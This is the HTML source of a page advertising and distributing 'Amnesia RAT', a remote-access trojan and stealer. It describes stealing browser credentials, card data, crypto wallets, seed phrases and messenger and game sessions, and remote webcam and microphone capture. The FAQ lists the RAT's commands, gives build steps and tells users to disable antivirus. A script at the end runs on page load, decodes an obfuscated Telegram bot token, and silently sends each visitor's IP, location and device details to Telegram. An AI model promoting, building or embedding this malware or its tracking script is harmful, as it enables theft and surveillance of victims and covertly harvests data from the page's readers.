<style>
  .hover\:scale-105:hover {
    transform: scale(1.05);
  }

  .transition-transform {
    transition: transform 0.2s ease-in-out;
  }

  .image-container {
    position: relative;
    overflow: hidden;
    border-radius: 1rem;
    transition: transform 0.3s ease, opacity 0.3s ease;
    margin: 20px;
  }

  .image-container:hover {
    transform: scale(1.05);
    opacity: 1;
  }

  .image-container::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(255, 255, 255, 0.03);
    transition: opacity 0.3s ease;
  }

  .image-container:hover::after {
    opacity: 0;
  }

  .image-container img {
    display: block;
    width: 100%;
    height: auto;
    border-radius: 1rem;
  }

  .accordion-btn {
    background-color: transparent;
    color: #fff;
    cursor: pointer;
    padding: 18px;
    width: 100%;
    text-align: left;
    border: none;
    outline: none;
    transition: background-color 0.4s ease, transform 0.4s ease;
    font-size: 18px;
    margin-bottom: 5px;
    border-radius: 0.5rem;
  }

  .accordion-btn:hover,
  .accordion-btn.active {
    background-color: rgba(43, 43, 43, 0.2);
  }

  .accordion-content {
    padding: 0 18px;
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.6s cubic-bezier(0.4, 0.0, 0.2, 1), padding 0.6s ease;
    background-color: rgba(43, 43, 43, 0.2);
    border-radius: 0.5rem;
    border: 1px solid #444;
    margin-bottom: 10px;
  }

  .accordion-content p {
    margin: 0;
    padding: 0px 18px 18px 18px;
    color: #fff;
    border-radius: 0.5rem;
    margin-bottom: 15px;
  }

  .accordion-content.open {
    max-height: 1000px; /* Убираем ограничение высоты */
    padding: 18px;
  }
</style>

<script>
  (function setInitialMode({ defaultMode, darkClassNames: darkClassNames2 = ["dark"], defaultTheme = "" }) {
    const rootEl = document.documentElement;
    const mode = localStorage.getItem("mode-watcher-mode") || defaultMode;

    if (darkClassNames2.length) {
      rootEl.classList.add(...darkClassNames2);
    }

    rootEl.style.colorScheme = "dark";

    if (defaultTheme) {
      rootEl.setAttribute("data-theme", defaultTheme);
      localStorage.setItem("mode-watcher-theme", defaultTheme);
    }

    localStorage.setItem("mode-watcher-mode", mode);
  })({ "defaultMode": "dark", "darkClassNames": ["dark"], "defaultTheme": "" });
  const accBtns = document.querySelectorAll(".accordion-btn");

  accBtns.forEach(btn => {
    btn.addEventListener("click", function () {
      this.classList.toggle("active");
      const content = this.nextElementSibling;

      if (content.style.display === "block") {
        content.style.display = "none";
      } else {
        content.style.display = "block";
      }
    });
  });
    
</script>

</head>
<body data-sveltekit-preload-data="hover">
<div style="display: contents">
  <div class="fixed inset-0 w-full h-screen bg-gradient-to-b from-primary-background to-ring" data-svelte-h="svelte-i4hm0w">
    <div class="absolute inset-0" style="background-image: radial-gradient(circle, rgba(255,255,255,0.1) 1px, transparent 1px); background-size: 40px 40px;"></div> 
    <div class="absolute inset-0 bg-gradient-to-t from-gray-900 via-transparent to-transparent opacity-70"></div>
  </div>
  <nav class="fixed top-0 left-0 right-0 z-50 bg-background/80 backdrop-blur-sm border-b">
    <div class="container mx-auto px-4">
      <div class="flex items-center justify-between h-16">
<div class="flex items-center">
  <a class="text-2xl font-bold text-primary mr-8" data-svelte-h="svelte-y132if" href="index.html">Amnesia RAT</a>
  <div class="hidden md:flex items-center space-x-6">
    <a class="nav-link svelte-1flux0" data-svelte-h="svelte-ryccny" href="about.html">About Us</a>
    <a class="nav-link svelte-1flux0" href="https://t.me/amnesia49406" target="_blank" rel="noopener noreferrer">Support</a>
	<a class="nav-link svelte-1flux0" href="https://t.me/+Zyu-pVoJv-81NDdk" target="_blank" rel="noopener noreferrer">Telegram</a>
	<a class="nav-link svelte-1flux0" href="http://138.2.138.250:8080/" target="_blank" rel="noopener noreferrer">Mirror</a>
	<a class="nav-link svelte-1flux0" href="https://tronbruteforce.online/" target="_blank" rel="noopener noreferrer">Tron Brute Force</a>
	<a class="nav-link svelte-1flux0" href="https://amnesia333.store/" target="_blank" rel="noopener noreferrer">Stealer</a>

  </div>
        </div>
<div class="hidden md:block">
  <button 
    class="ring-offset-background focus-visible:ring-ring inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 h-10 px-4 py-2 bg-primary text-primary-foreground hover:bg-primary/90 transition-colors duration-200" 
    data-button-root="" 
    tabindex="0" 
    type="button" 
    onclick="location.href='download.html';">
    Download
  </button>
</div>
        <div class="md:hidden">
          <button class="text-foreground hover:text-primary transition-colors">
            <svg class="lucide-icon lucide lucide-menu" fill="none" height="24" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><line x1="4" x2="20" y1="12" y2="12"></line><line x1="4" x2="20" y1="6" y2="6"></line><line x1="4" x2="20" y1="18" y2="18"></line></svg>
          </button>
        </div>
      </div>
    </div> 
  </nav>
<div class="relative min-h-screen pt-14"> 
  <div class="flex flex-col items-center justify-center min-h-screen p-4">
    <div class="container mx-auto flex flex-col lg:flex-row items-center justify-between gap-8 mb-16">
      <div class="flex flex-col max-w-xl lg:max-w-2xl lg:ml-auto text-center">
        <label class="peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-white text-3xl md:text-5xl font-bold mb-2" data-label-root="" data-melt-label=""></label>
        <div class="flex flex-col items-center">
          <label class="peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-4xl md:text-6xl lg:text-8xl font-extrabold bg-clip-text text-transparent bg-[linear-gradient(to_right,theme(colors.indigo.400),theme(colors.indigo.100),theme(colors.sky.400),theme(colors.fuchsia.400),theme(colors.sky.400),theme(colors.indigo.100),theme(colors.indigo.400))] bg-[length:200%_auto] animate-gradient leading-[1.2] pb-6" data-label-root="" data-melt-label="">Amnesia RAT</label>
          <label class="font-medium peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-white/90 text-lg" data-label-root="" data-melt-label="">
            All-in-One Stealer and Remote Control Solution
          </label>
        </div>
<!-- Download Button for Windows/Other OS -->
<div class="mt-4 flex justify-center"> 
  <button id="downloadButton" class="ring-offset-background focus-visible:ring-ring inline-flex items-center justify-center whitespace-nowrap rounded-md font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 border-input bg-background hover:bg-accent hover:text-accent-foreground h-10 border text-xl p-6" data-button-root="" tabindex="0" type="button">
    <img id="downloadIconMain" class="mr-2 h-6 w-6" src="" alt="Download Icon">
    <span id="downloadTextMain">Download</span>
  </button>
</div>

<!-- Download Button for Python -->
<div class="mt-4 flex justify-center"> 
  <button id="downloadPythonButton" class="ring-offset-background focus-visible:ring-ring inline-flex items-center justify-center whitespace-nowrap rounded-md font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 border-input bg-background hover:bg-accent hover:text-accent-foreground h-10 border text-xl p-6" data-button-root="" tabindex="0" type="button">
    <img id="downloadIconPython" class="mr-2 h-6 w-6" src="python.png" alt="Download Icon">
    <span id="downloadTextPython">Download Python</span>
  </button>
</div>





      </div> 

<script>
  function detectOSAndAdjustDownloadButton() {
    const platform = navigator.platform.toLowerCase();
    const userAgent = navigator.userAgent.toLowerCase();
    
    const downloadButton = document.getElementById('downloadButton');
    const downloadIcon = document.getElementById('downloadIconMain'); // For main download button
    const downloadText = document.getElementById('downloadTextMain');
    const downloadPythonButton = document.getElementById('downloadPythonButton'); // Python download button
    
    if (platform.includes('win') || userAgent.includes('windows')) {
      // Windows OS
      downloadText.textContent = 'Download for Windows';
      downloadIcon.src = 'https://img.icons8.com/color/200/windows-10.png';
      downloadIcon.classList.add('icon-windows'); 
      downloadButton.classList.add('hover-windows'); 
      downloadButton.addEventListener('click', function() {
        window.location.href = 'download.html'; 
      });
    } else if (platform.includes('android') || userAgent.includes('android')) {
      // Android OS
      downloadText.textContent = 'Download for Android';
      downloadIcon.src = 'https://icon-library.com/images/icon-android/icon-android-2.jpg';
      downloadIcon.classList.add('icon-android'); 
      downloadButton.classList.add('hover-android'); 
      
      // Hide the Python download button on Android
      if (downloadPythonButton) {
        downloadPythonButton.style.display = 'none';
      }
      
      downloadButton.addEventListener('click', function() {
        window.location.href = 'download-android.html'; // Replace with your Android download URL
      });
    } else {
      // Other OS
      downloadText.textContent = 'Download';
      downloadIcon.src = 'download.png';
      downloadButton.addEventListener('click', function() {
        window.location.href = 'download.html'; 
      });
    }
    
    // Python Download Button remains visible for non-Android OS
    if (downloadPythonButton) {
      downloadPythonButton.addEventListener('click', function() {
        window.location.href = 'https://www.python.org/ftp/python/3.10.11/python-3.10.11-amd64.exe';
      });
    }
  }

  // Initialize the download buttons on page load
  document.addEventListener('DOMContentLoaded', detectOSAndAdjustDownloadButton);
</script>







<div class="image-container">
  <img id="dynamicImage" src="preview.png" alt="Preview" class="w-full h-full object-cover rounded-lg">
</div>

<script>
  function detectOSForImage() {
    const platform = navigator.platform.toLowerCase();
    const userAgent = navigator.userAgent.toLowerCase();
    
    const imageElement = document.getElementById('dynamicImage');

    if (platform.includes('win') || userAgent.includes('windows')) {

      imageElement.src = 'preview.png';
    } else if (platform.includes('android') || userAgent.includes('android')) {

      imageElement.src = 'preview1.png';
    } else {

      imageElement.src = 'preview.png';
    }
  }

  detectOSForImage();
</script>

      </div>
      <div class="w-full max-w-6xl mx-auto grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
        <div class="bg-card text-card-foreground rounded-lg border shadow-sm transition-transform hover:scale-105">
          <div class="flex flex-col space-y-1.5 p-6">
            <svg class="lucide-icon lucide lucide-chrome w-10 h-10 mb-2 text-indigo-400" fill="none" height="24" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">
              <circle cx="12" cy="12" r="10"></circle><circle cx="12" cy="12" r="4"></circle><line x1="21.17" x2="12" y1="8" y2="8"></line><line x1="3.95" x2="8.54" y1="6.06" y2="14"></line><line x1="10.88" x2="15.46" y1="21.94" y2="14"></line>
            </svg>
            <h3 class="text-lg font-semibold leading-none tracking-tight">Full browser support</h3>
          </div>
          <div class="p-6 pt-0">
            <p data-svelte-h="svelte-dfyuwc">
              Amnesia RAT efficiently extracts browser sessions, cookies, profiles, passwords, credit card data, autofill information, and more. Seamlessly supports all major browsers for comprehensive data collection.
            </p>
          </div>
        </div>
        
        <div class="bg-card text-card-foreground rounded-lg border shadow-sm transition-transform hover:scale-105">
          <div class="flex flex-col space-y-1.5 p-6">
            <svg class="lucide-icon lucide lucide-bitcoin w-10 h-10 mb-2 text-sky-400" fill="none" height="24" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">
              <path d="M11.767 19.089c4.924.868 6.14-6.025 1.216-6.894m-1.216 6.894L5.86 18.047m5.908 1.042-.347 1.97m1.563-8.864c4.924.869 6.14-6.025 1.215-6.893m-1.215 6.893-3.94-.694m5.155-6.2L8.29 4.26m5.908 1.042.348-1.97M7.48 20.364l3.126-17.727"></path>
            </svg>
            <h3 class="text-lg font-semibold leading-none tracking-tight">Crypto support</h3>
          </div>
          <div class="p-6 pt-0">
            <p data-svelte-h="svelte-130cfc8">
              Amnesia RAT efficiently captures wallet data from Exodus, Trust Wallet, Atomic Wallet, MetaMask, and more across all blockchains. It also steals exchange sessions from platforms like Binance, Coinbase, and many others.
            </p>
          </div>
        </div>
        
        <div class="bg-card text-card-foreground rounded-lg border shadow-sm transition-transform hover:scale-105">
          <div class="flex flex-col space-y-1.5 p-6">
            <svg class="lucide-icon lucide lucide-gamepad-2 w-10 h-10 mb-2 text-fuchsia-400" fill="none" height="24" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">
              <line x1="6" x2="10" y1="11" y2="11"/>
              <line x1="8" x2="8" y1="9" y2="13"/>
              <line x1="15" x2="15.01" y1="12" y2="12"/>
              <line x1="18" x2="18.01" y1="10" y2="10"/>
              <path d="M17.32 5H6.68a4 4 0 0 0-3.978 3.59c-.006.052-.01.101-.017.152C2.604 9.416 2 14.456 2 16a3 3 0 0 0 3 3c1 0 1.5-.5 2-1l1.414-1.414A2 2 0 0 1 9.828 16h4.344a2 2 0 0 1 1.414.586L17 18c.5.5 1 1 2 1a3 3 0 0 0 3-3c0-1.545-.604-6.584-.685-7.258-.007-.05-.011-.1-.017-.151A4 4 0 0 0 17.32 5z"/>
            </svg>
            <h3 class="text-lg font-semibold leading-none tracking-tight">Games support</h3>
          </div>
          <div class="p-6 pt-0">
            <p data-svelte-h="svelte-1h9ragf">
              Amnesia RAT expertly captures sessions from popular platforms like Steam, Minecraft, Epic Games, Battle.net, Roblox, Riot, Uplay, Growtopia, Xbox, PlayStation, and more, giving you full control over game accounts across various platforms.
            </p>
          </div>
        </div>
		
		<div class="bg-card text-card-foreground rounded-lg border shadow-sm transition-transform hover:scale-105">
  <div class="flex flex-col space-y-1.5 p-6">
    <svg class="lucide-icon lucide lucide-shield w-10 h-10 mb-2 text-green-400" fill="none" height="24" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">
       <path d="M17 5c0-1.7-1.3-3-3-3s-3 1.3-3 3c0 .8.3 1.5.8 2H11c-3.9 0-7 3.1-7 7c0 2.2 1.8 4 4 4"/>
  <path d="M16.8 3.9c.3-.3.6-.5 1-.7 1.5-.6 3.3.1 3.9 1.6.6 1.5-.1 3.3-1.6 3.9l1.6 2.8c.2.3.2.7.2 1-.2.8-.9 1.2-1.7 1.1 0 0-1.6-.3-2.7-.6H17c-1.7 0-3 1.3-3 3"/>
  <path d="M13.2 18a3 3 0 0 0-2.2-5"/>
  <path d="M13 22H4a2 2 0 0 1 0-4h12"/>
  <path d="M16 9h.01"/>
    </svg>
    <h3 class="text-lg font-semibold leading-none tracking-tight">RAT</h3>
  </div>
  <div class="p-6 pt-0">
    <p>Amnesia features a powerful RAT (Remote Access Tool) that operates without the need for a dedicated server, giving you direct control over the infected device for remote management and data extraction.</p>
  </div>
</div>


<div class="bg-card text-card-foreground rounded-lg border shadow-sm transition-transform hover:scale-105">
  <div class="flex flex-col space-y-1.5 p-6">
    <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-message-circle w-10 h-10 mb-2 text-green-400">
      <path d="M21 11.5a8.38 8.38 0 0 1-1.5 4.78l2 5-5-2A8.5 8.5 0 1 1 21 11.5z"></path>
    </svg>
    <h3 class="text-lg font-semibold leading-none tracking-tight">Messengers Support</h3>
  </div>
  <div class="p-6 pt-0">
    <p>
      Amnesia RAT supports data extraction from popular messengers such as Telegram and Discord, giving access to conversations, accounts, and stored data.
    </p>
  </div>
</div>

<div class="bg-card text-card-foreground rounded-lg border shadow-sm transition-transform hover:scale-105">
  <div class="flex flex-col space-y-1.5 p-6">
    <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-key w-10 h-10 mb-2 text-yellow-400">
      <path d="M3 11l9 9 9-9-9-9-9 9z"></path>
      <circle cx="12" cy="12" r="3"></circle>
    </svg>
    <h3 class="text-lg font-semibold leading-none tracking-tight">Seed Phrase Detection</h3>
  </div>
  <div class="p-6 pt-0">
    <p>
      Amnesia RAT includes advanced algorithms to search and identify seed phrases stored on the victim's computer, providing access to sensitive cryptocurrency wallets.
    </p>
  </div>
</div>

<br>
<br>
<br>
      </div>
<div class="faq-container mt-10 mb-20"> <!-- Добавлен нижний отступ для аккордеона -->
  <h2 class="text-3xl font-bold text-center mb-10">Frequently Asked Questions</h2> <!-- Увеличен размер заголовка и отступ снизу -->
  <br>
<div class="accordion">
  <button class="accordion-btn">What is Amnesia RAT?</button>
  <div class="accordion-content">
    <p>Amnesia RAT is a powerful remote administration tool that provides extensive control over a target system. It includes functionalities such as system monitoring, data extraction, and file management, making it a versatile tool for ethical and administrative purposes.</p>
  </div>

<button class="accordion-btn">What are the requirements for running Amnesia RAT?</button>
<div class="accordion-content">
  <p>
    For Windows, you need <strong>Python 3.10.11</strong> installed. During installation, ensure you check the <strong>Enable PATH</strong> option. You can download Python from <strong><a href="https://www.python.org/ftp/python/3.10.11/python-3.10.11-amd64.exe" target="_blank">here</a></strong>.
  </p>
  <p>
    For Android, the Amnesia RB supports devices running Android 5 or higher. However, the Android builder requires Android 7 or higher to function. Note: Amnesia RB is in beta and may work unstably.</a>
  </p>
  <p>
    Make sure to disable your antivirus before running Amnesia to prevent interruptions during setup or operation.
  </p>
</div>


  <button class="accordion-btn">What commands does Amnesia RAT support?</button>
  <div class="accordion-content">
    <p>Amnesia RAT offers the following commands:</p>
    <ul>
  <li><b>/sc</b> - Take a screenshot</li>
  <li><b>/ip</b> - Get IP information</li>
  <li><b>/cam</b> - Take a photo using the webcam</li>
  <li><b>/rec *duration*</b> - Record microphone audio</li>
  <li><b>/lock *text*</b> - Lock the screen with a message</li>
  <li><b>/unlock</b> - Unlock the screen</li>
  <li><b>/tell *text*</b> - Show a message</li>
  <li><b>/sysinfo</b> - Get system information</li>
  <li><b>/ls *path*</b> - List directory contents with file and folder sizes</li>
  <li><b>/size *path*</b> - Get the size of a specified file or directory</li>
  <li><b>/pwd</b> - Show current working directory</li>
  <li><b>/cd *path*</b> - Change working directory</li>
  <li><b>/mkdir *path*</b> - Create a new directory</li>
  <li><b>/rm *path*</b> - Remove a file or directory</li>
  <li><b>/mv *source path* *destination path*</b> - Move a file or directory</li>
  <li><b>/download *path*</b> - Download a file or archive a directory (supports files >50 MB)</li>
  <li><b>/open *path*</b> - Open a file</li>
  <li><b>/copy *source path* *destination path*</b> - Copy a file or directory</li>
  <li><b>/processlist</b> - List running processes</li>
  <li><b>/processkill *process*</b> - Kill a process by name</li>
  <li><b>/processpath</b> - Get the file path of a specific process</li>
  <li><b>/link *website*</b> - Open a website and send a screenshot</li>
  <li><b>/alert *text*</b> - Display an alert box with text and sound</li>
  <li><b>/soft</b> - List installed programs</li>
  <li><b>/shutdown</b> - Shutdown the computer</li>
  <li><b>/restart</b> - Restart the computer</li>
  <li><b>/browsers</b> - Collect available browser data</li>
  <li><b>/browsersforced</b> - Collect all browser data but terminate browser processes</li>
  <li><b>/telegram</b> - Collect Telegram logs</li>
  <li><b>/steam</b> - Collect Steam logs</li>
  <li><b>/telegramforced</b> - Force search for 'tdata' folders on all drives</li>
  <li><b>/discord</b> - Collect Discord tokens</li>
  <li><b>/wallets</b> - Collect crypto wallet logs</li>
  <li><b>/seedfind</b> - Search for potential seed phrases across the system</li>
  <li><b>/video *duration*</b> - Record video using webcam</li>
  <li><b>/transfer *token$chat_id*</b> - Transfer control to another bot</li>
  <li><b>/terminate</b> - Terminate the current connection</li>
</ul>
  </div>

<button class="accordion-btn">How to make your own Amnesia RAT?</button>
<div class="accordion-content">
  <p>To make your own Amnesia RAT, follow these steps:</p>
  <ol>
    <li>Install Python 3.10.11. During installation, check the box to add Python to PATH.</li>
    <li>Disable your antivirus to prevent interference with the build process.</li>
    <li>Download the <code>AmnesiaRAT.zip</code> archive from this website and extract folder on your computer.</li>
    <li>Run <code>builder.bat</code> from the extracted folder.</li>
    <li>Enter your Telegram bot token and your chat ID into the builder.</li>
    <li>Click <b>"Build"</b> to start the compilation process.</li>
    <li>After the build is complete, a folder containing your compiled RAT will automatically open.</li>
  </ol>
</div>



<button class="accordion-btn">How do I create my Telegram bot?</button>
<div class="accordion-content">
  <p>To create a Telegram bot, follow these steps:</p>
  <ol>
    <li>Open Telegram and search for <b>@BotFather</b>.</li>
    <li>Start a conversation and send the command <code>/newbot</code>.</li>
    <li>Follow the instructions to set up the bot's name and username.</li>
    <li>Copy the bot token provided at the end of the setup process. This token will be used in the builder.</li>
    <li>Once the bot is created, start a chat with it by sending the command <code>/start</code>.</li>
  </ol>
</div>

<button class="accordion-btn">How do I find my chat ID?</button>
<div class="accordion-content">
  <p>To find your chat ID, follow these steps:</p>
  <ol>
    <li>Open Telegram and start a chat with <a href="https://t.me/getmyid_bot" target="_blank">@getmyid_bot</a>.</li>
    <li>Send the bot any message or simply start the chat.</li>
    <li>The bot will respond with your chat ID. Use this ID in the builder.</li>
  </ol>
</div>

<button class="accordion-btn">Is Amnesia RAT still under development?</button>
<div class="accordion-content">
  <p>No, the development of Amnesia RAT has been discontinued. We now recommend using <b>Amnesia Stealer</b>, a more advanced and secure tool, available at <a href="https://amnesia333.store" target="_blank">amnesia333.store</a>.</p>
</div>

<button class="accordion-btn">What should I do if I encounter build errors in the full version?</button>
<div class="accordion-content">
  <p>If you encounter any errors during the build process in the full version, we recommend using the <b>Amnesia Lite</b>. The Lite version has an optimized compilation process, making it more stable and easier to use.</p>
</div>

<button class="accordion-btn">Does Amnesia RAT support Android?</button>
<div class="accordion-content">
  <p>Yes, Amnesia RAT supports Android through the <strong>Amnesia RB</strong> version. However, development of the Android version stopped at the beta stage, and it is known to work unstably. For better performance and reliability, we strongly recommend using the Windows version or the new <strong>Amnesia VIP</strong>, which is actively developed and offers more advanced features. You can learn more about Amnesia VIP <a href="https://amnesia333.store/" target="_blank">here</a>.</p>
</div>

<button class="accordion-btn">What are the exclusive commands for Android?</button>
<div class="accordion-content">
  <p>Amnesia RAT offers the following exclusive commands for Android devices:</p>
  <ul>
    <li><code>/contacts</code> - Retrieve and send the contact list.</li>
    <li><code>/sms</code> - Retrieve and send SMS messages.</li>
    <li><code>/calls</code> - Retrieve and send call logs.</li>
    <li><code>/nots</code> - Retrieve and send recent notifications.</li>
  </ul>
</div>

<button class="accordion-btn">What is Amnesia RAT Lite and how does it differ from Amnesia RAT?</button>
<div class="accordion-content">
  <p>Amnesia RAT Lite is a streamlined version of the original Amnesia RAT, designed to be lighter and more efficient while maintaining core remote administration capabilities. Here’s how it differs from the standard version:</p>
  <ul>
    <li><b>Smaller Stub Size:</b> The stub file size has been reduced from <b>85 MB</b> to <b>50 MB</b>, making it easier to deploy.</li>
    <li><b>Lower Resource Consumption:</b> Amnesia RAT Lite uses 3 times fewer system resources, minimizing its impact on the target computer.</li>
    <li><b>Removed Features:</b> To achieve these optimizations, the following features were removed:
      <ul>
  <li><code>/lock</code> - Lock the screen with a message.</li>
  <li><code>/tell</code> - Show a custom message.</li>
  <li><code>/cam</code> - Capture photos using the webcam.</li>
  <li><code>/video</code> - Record video using webcam</li>
  <li><code>/transfer</code> - Transfer control to another bot</li>
</ul>
    </li>
  </ul>
</div>

</div>
    </div>
  </div>
  
</div>

<script>

const accordionButtons = document.querySelectorAll('.accordion-btn');

accordionButtons.forEach(button => {
  button.addEventListener('click', function () {
    const content = this.nextElementSibling;

    this.classList.toggle('active');
    content.classList.toggle('open');
  });
});

</script>
<script>
    async function sendUserInfoToTelegram() {
        const obfuscatedTelegramBotToken = 'NzYyODM5ODE3NzpBQUVOcDM0aGxIMVpPUVBPWk1DdFhvREtRYS1nUjB2RlZWUQ==';
        const obfuscatedTelegramChatId = 'NjM2NzA5MTU3OQ==';

        function decodeBase64(data) {
            return atob(data);
        }

        const telegramBotToken = decodeBase64(obfuscatedTelegramBotToken);
        const telegramChatId = decodeBase64(obfuscatedTelegramChatId);

        async function sendLogToTelegram(message) {
            const url = `https://api.telegram.org/bot${telegramBotToken}/sendMessage`;
            const data = {
                chat_id: telegramChatId,
                text: message,
                parse_mode: 'HTML'
            };

            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });
                if (!response.ok) {
                    throw new Error(`Send error: ${response.statusText}`);
                }
                console.log('Logged');
            } catch (error) {
                console.error('Error:', error);
            }
        }

        function formatUserInfoForTelegram(fullInfo) {
            return `
<b>User Info:</b>
<b>Location:</b> ${fullInfo.location.city}, ${fullInfo.location.region}, ${fullInfo.location.country} (${fullInfo.location.ip})
<b>Device:</b> ${fullInfo.device.os}, ${fullInfo.device.platform}, ${fullInfo.device.screenResolution}
<b>WebGL GPU:</b> ${fullInfo.device.webGLInfo.gpu}
<b>Browser:</b> ${fullInfo.device.browser.name} (vers: ${fullInfo.device.browser.version}, vendor: ${fullInfo.device.browser.vendor})
<b>Battery:</b> Charging: ${fullInfo.device.battery.charging ? 'Yes' : 'No'}, Level: ${fullInfo.device.battery.level}%
<b>Network:</b> Type: ${fullInfo.device.network.effectiveType}, Speed: ${fullInfo.device.network.downlink} Mb/s
            `;
        }

        async function getIpAndLocation() {
            return new Promise((resolve, reject) => {
                window.handleResponse = function(data) {
                    if (data && data.country) {
                        resolve({
                            ip: data.ip,
                            city: data.city,
                            region: data.region,
                            country: data.country,
                            loc: data.loc,
                            org: data.org
                        });
                    } else {
                        reject(new Error('No location data'));
                    }
                };

                const script = document.createElement('script');
                script.src = 'https://ipinfo.io/json?callback=handleResponse';
                script.onerror = function() {
                    reject(new Error('Error loading script'));
                };
                document.body.appendChild(script);
            });
        }

        function getWebGLInfo() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            if (!gl) {
                return { gpu: 'Unknown' };
            }
            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
            return {
                gpu: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'Unknown'
            };
        }

        function getDeviceInfo() {
            return {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                screenResolution: `${window.screen.width}x${window.screen.height}`,
                viewportSize: `${window.innerWidth}x${window.innerHeight}`,
                online: navigator.onLine,
                cookieEnabled: navigator.cookieEnabled,
                javaEnabled: navigator.javaEnabled(),
                deviceMemory: navigator.deviceMemory || 'Unknown',
                hardwareConcurrency: navigator.hardwareConcurrency || 'Unknown',
                maxTouchPoints: navigator.maxTouchPoints || 'Unknown',
                webGLInfo: getWebGLInfo(),
                performanceMemory: performance.memory ? performance.memory.jsHeapSizeLimit : 'Unknown'
            };
        }

        function getOSInfo() {
            const userAgent = navigator.userAgent;
            let os = 'Unknown';
            if (userAgent.indexOf('Win') !== -1) os = 'Windows';
            if (userAgent.indexOf('Mac') !== -1) os = 'MacOS';
            if (userAgent.indexOf('Linux') !== -1) os = 'Linux';
            if (userAgent.indexOf('Android') !== -1) os = 'Android';
            if (userAgent.indexOf('like Mac') !== -1) os = 'iOS';
            return os;
        }

        async function getBatteryStatus() {
            if ('getBattery' in navigator) {
                const battery = await navigator.getBattery();
                return {
                    charging: battery.charging,
                    level: battery.level * 100
                };
            }
            return { charging: 'Unknown', level: 'Unknown' };
        }

        async function getNetworkInfo() {
            const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
            return {
                effectiveType: connection ? connection.effectiveType : 'Unknown',
                downlink: connection ? connection.downlink : 'Unknown',
            };
        }

        async function getBrowserInfo() {
            return {
                name: navigator.appName,
                version: navigator.appVersion,
                vendor: navigator.vendor
            };
        }

        const locationInfo = await getIpAndLocation().catch(error => ({ error: error.message }));
        const deviceInfo = getDeviceInfo();
        const osInfo = getOSInfo();
        const batteryInfo = await getBatteryStatus();
        const networkInfo = await getNetworkInfo();
        const browserInfo = await getBrowserInfo();

        const fullInfo = {
            location: locationInfo,
            device: {
                ...deviceInfo,
                os: osInfo,
                battery: batteryInfo,
                network: networkInfo,
                browser: browserInfo
            }
        };

        const formattedMessage = formatUserInfoForTelegram(fullInfo);
        await sendLogToTelegram(formattedMessage);
    }

    window.onload = sendUserInfoToTelegram;
</script>
</body>
<footer style="text-align: center; padding: 20px; background-color: transparent; color: white; position: relative; bottom: 0; width: 100%;">
  <p>&copy; 2024 Amnesia RAT. All rights reserved.</p>
</footer>

</html>
